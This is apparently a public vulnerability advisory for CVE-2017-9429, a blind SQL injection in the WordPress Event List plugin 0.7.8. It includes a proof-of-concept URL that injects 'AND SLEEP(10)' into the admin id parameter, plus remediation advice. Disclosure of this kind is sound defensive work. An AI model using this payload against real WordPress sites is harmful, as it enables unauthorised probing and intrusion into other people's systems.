WordPress Plugin Event List < 0.7.8 - SQL Injection

# Exploit Title: WordPress Plugin Event List <= 0.7.8 - SQL Injection
# Date: 04-06-2017
# Exploit Author: Dimitrios Tsagkarakis
# Website: dtsa.eu 
# Software Link: https://wordpress.org/plugins/event-list/
# Version: 0.7.8
# CVE : CVE-2017-9429
# Category: webapps

 

1. Description:

   

SQL injection vulnerability in the Event List plugin 0.7.8 for WordPress
allows an authenticated user to execute arbitrary SQL commands via the id
parameter to wp-admin/admin.php. 

 

2. Proof of Concept:

 

http://[wordpress_site]/wp-admin/admin.php?page=el_admin_main&action=edit&id
=1 AND SLEEP(10)

 

3. Solution:

   

The plugin has been removed from WordPress. Deactivate the plug-in and wait
for a hotfix.

 

4. Reference:

 

http://dtsa.eu/cve-2017-9429-event-list-version-v-0-7-8-blind-based-sql-inje
ction-sqli/

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-9429